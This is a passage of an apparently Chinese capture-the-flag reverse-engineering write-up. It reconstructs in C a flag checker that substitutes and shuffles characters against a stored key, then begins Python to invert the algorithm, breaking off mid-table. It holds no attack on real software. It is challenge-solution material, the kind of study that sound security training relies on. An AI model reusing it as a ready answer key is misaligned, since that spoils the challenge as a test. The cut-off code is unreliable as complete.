<span class="cm-number">32</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">v9</span> <span class="cm-operator">></span> <span class="cm-number">0x5F</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">LABEL_10</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">16</span>] <span class="cm-operator">=</span> <span class="cm-variable">v0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-operator">-</span><span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v10</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">while</span> (<span class="cm-number">1</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">v10</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_RES</span>] <span class="cm-operator">=</span> (<span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v9</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_TABLE</span>] <span class="cm-operator">+</span> <span class="cm-variable">idx</span>) <span class="cm-operator">%</span> <span class="cm-number">96</span> <span class="cm-operator">+</span> <span class="cm-number">32</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-variable">idx</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator"><=</span> <span class="cm-variable">idx</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">break</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v10</span> <span class="cm-operator">=</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">idx</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v9</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">idx</span> <span class="cm-operator">+</span> <span class="cm-variable">v8</span>] <span class="cm-operator">-</span> <span class="cm-number">32</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">v9</span> <span class="cm-operator">></span> <span class="cm-number">0x5F</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">goto</span> <span class="cm-variable">LABEL_10</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span>(<span class="cm-variable-3">int</span> <span class="cm-variable">i</span><span class="cm-operator">=</span><span class="cm-number">0</span>; <span class="cm-variable">i</span><span class="cm-operator"><</span><span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">18</span>]]; <span class="cm-variable">i</span><span class="cm-operator">++</span>) <span class="cm-comment">// trans result</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"1152 [%d] = %c\n"</span>, <span class="cm-variable">i</span>, <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_TRANS_RES</span> <span class="cm-operator">+</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">i</span>]);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator">></span> <span class="cm-number">0</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v13</span> <span class="cm-operator">=</span> <span class="cm-variable">MEM_SWAP_TABLE</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v14</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">do</span> {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">v13</span>] <span class="cm-operator">=</span> <span class="cm-variable">v14</span><span class="cm-operator">++</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-variable">v14</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v13</span> <span class="cm-operator">+=</span> <span class="cm-number">4</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> } <span class="cm-keyword">while</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator">></span> <span class="cm-variable">v14</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator">></span> <span class="cm-number">1</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v15</span> <span class="cm-operator">=</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">do</span> {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v4</span> <span class="cm-operator">=</span> (<span class="cm-number">1919</span> <span class="cm-operator">*</span> <span class="cm-variable">v4</span> <span class="cm-operator">+</span> <span class="cm-number">7</span>) <span class="cm-operator">%</span> <span class="cm-number">334363</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v16</span> <span class="cm-operator">=</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> (<span class="cm-variable">v4</span> <span class="cm-operator">%</span> <span class="cm-variable">v15</span>) <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_TABLE</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v17</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">v16</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">v16</span>] <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v15</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_TABLE</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_TABLE</span>] <span class="cm-operator">=</span> <span class="cm-variable">v17</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v15</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-variable">v15</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> } <span class="cm-keyword">while</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator">></span> <span class="cm-variable">v15</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"swap_table = [\n"</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span>(<span class="cm-variable-3">int</span> <span class="cm-variable">i</span><span class="cm-operator">=</span><span class="cm-number">0</span>; <span class="cm-variable">i</span><span class="cm-operator"><</span><span class="cm-number">41</span>; <span class="cm-variable">i</span><span class="cm-operator">++</span>) <span class="cm-comment">// swap table</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"%d, "</span>, <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_SWAP_TABLE</span> <span class="cm-operator">+</span> <span class="cm-variable">i</span> <span class="cm-operator">*</span> <span class="cm-number">4</span>]);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"]\n"</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v18</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">v18</span> <span class="cm-operator">></span> <span class="cm-number">0</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v19</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">do</span> {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v19</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_TABLE</span>] <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_RES</span>] <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v19</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_RES</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v19</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-variable">v19</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v18</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> } <span class="cm-keyword">while</span> (<span class="cm-variable">v18</span> <span class="cm-operator">></span> <span class="cm-variable">v19</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span>(<span class="cm-variable-3">int</span> <span class="cm-variable">i</span><span class="cm-operator">=</span><span class="cm-number">0</span>; <span class="cm-variable">i</span><span class="cm-operator"><</span><span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">18</span>]]; <span class="cm-variable">i</span><span class="cm-operator">++</span>) <span class="cm-comment">// swap result</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"1552 [%d] = %c\n"</span>, <span class="cm-variable">i</span>, <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_SWAP_RES</span> <span class="cm-operator">+</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">i</span>]);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">20</span>]] <span class="cm-operator">!=</span> <span class="cm-variable">v18</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">16</span>] <span class="cm-operator">=</span> <span class="cm-variable">v0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[(<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>] <span class="cm-operator"><=</span> <span class="cm-number">0</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">goto</span> <span class="cm-variable">LABEL_SUCC</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v20</span> <span class="cm-operator">=</span> <span class="cm-variable">global</span>[<span class="cm-number">19</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span>(<span class="cm-variable-3">int</span> <span class="cm-variable">i</span><span class="cm-operator">=</span><span class="cm-number">0</span>; <span class="cm-variable">i</span><span class="cm-operator"><</span><span class="cm-variable">memory</span>[<span class="cm-variable">CONST_4982</span>]; <span class="cm-variable">i</span><span class="cm-operator">++</span>) <span class="cm-comment">// answer</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"5400 [%d] = %c\n"</span>, <span class="cm-variable">i</span>, <span class="cm-variable">memory</span>[<span class="cm-number">5400</span> <span class="cm-operator">+</span> <span class="cm-number">4</span><span class="cm-operator">*</span><span class="cm-variable">i</span>]);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[<span class="cm-variable">MEM_SWAP_RES</span>] <span class="cm-operator">==</span> <span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">19</span>]]) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v21</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">CONST_4982</span> <span class="cm-operator">=</span> (<span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span>) <span class="cm-variable">CONST_4982</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">while</span> (<span class="cm-number">1</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-operator">++</span><span class="cm-variable">v21</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[<span class="cm-variable">CONST_4982</span>] <span class="cm-operator"><=</span> <span class="cm-variable">v21</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">break</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v21</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_SWAP_RES</span>] <span class="cm-operator">!=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">v20</span> <span class="cm-operator">+</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v21</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">goto</span> <span class="cm-variable">LABEL_FAIL</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">LABEL_SUCC</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">16</span>] <span class="cm-operator">=</span> <span class="cm-variable">v0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">LABEL_FAIL</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">16</span>] <span class="cm-operator">=</span> <span class="cm-variable">v0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">}</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable-3">int</span> <span class="cm-def">main</span>() {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">18</span>] <span class="cm-operator">=</span> <span class="cm-number">4982</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">19</span>] <span class="cm-operator">=</span> <span class="cm-number">5400</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">20</span>] <span class="cm-operator">=</span> <span class="cm-number">4986</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">global</span>[<span class="cm-number">21</span>] <span class="cm-operator">=</span> <span class="cm-number">5000</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">char</span> <span class="cm-variable">key</span>[] <span class="cm-operator">=</span> <span class="cm-string">".q~03QKLNSp\"s6AQtEW<=MNv9(ZMYntg2N9hSe5=k"</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">keylen</span> <span class="cm-operator">=</span> <span class="cm-variable">strlen</span>(<span class="cm-variable">key</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> (<span class="cm-variable-3">int</span> <span class="cm-variable">i</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>; <span class="cm-variable">i</span> <span class="cm-operator"><</span> <span class="cm-variable">keylen</span>; <span class="cm-variable">i</span><span class="cm-operator">++</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">5400</span> <span class="cm-operator">+</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">i</span>] <span class="cm-operator">=</span> (<span class="cm-variable-3">unsigned</span> <span class="cm-variable-3">char</span>) <span class="cm-variable">key</span>[<span class="cm-variable">i</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">4986</span>] <span class="cm-operator">=</span> <span class="cm-variable">keylen</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">char</span> <span class="cm-variable">flag</span>[] <span class="cm-operator">=</span> <span class="cm-string">"qqqqqwwwwweeeeerrrrrtttttyyyyyuuuuuiiiiio"</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">len</span> <span class="cm-operator">=</span> <span class="cm-variable">strlen</span>(<span class="cm-variable">flag</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">4982</span>] <span class="cm-operator">=</span> <span class="cm-variable">len</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> (<span class="cm-variable-3">int</span> <span class="cm-variable">i</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>; <span class="cm-variable">i</span> <span class="cm-operator"><</span> <span class="cm-variable">len</span>; <span class="cm-variable">i</span><span class="cm-operator">++</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">5000</span> <span class="cm-operator">+</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">i</span>] <span class="cm-operator">=</span> (<span class="cm-variable-3">unsigned</span> <span class="cm-variable-3">char</span>) <span class="cm-variable">flag</span>[<span class="cm-variable">i</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">ret</span> <span class="cm-operator">=</span> <span class="cm-variable">foo</span>();</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">ret</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">}</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 4144px;"></div><div class="CodeMirror-gutters" style="display: none; height: 4144px;"></div></div></div></pre><p><span>我们用 Python 可以模拟替换字符和交换顺序的算法以及其逆过程：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">trans_table</span> = [</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-number">22</span>, <span class="cm-number">65</span>, <span class="cm-number">61</span>, <span class="cm-number">31</span>, <span class="cm-number">87</span>, <span class="cm-number">19</span>, <span class="cm-number">38</span>, <span class="cm-number">95</span>, <span class="cm-number">4</span>, <span class="cm-number">0</span>, <span class="cm-number">54</span>, <span class="cm-number">3</span>, <span class="cm-number">55</span>, <span class="cm-number">5</span>, <span class="cm-number">9</span>, <span class="cm-number">53</span>, <span class="cm-number">11</span>, <span class="cm-number">45</span>, <span class="cm-number">67</span>, <span class="cm-number">14</span>, <span class="cm-number">40</span>, <span class="cm-number">91</span>, <span 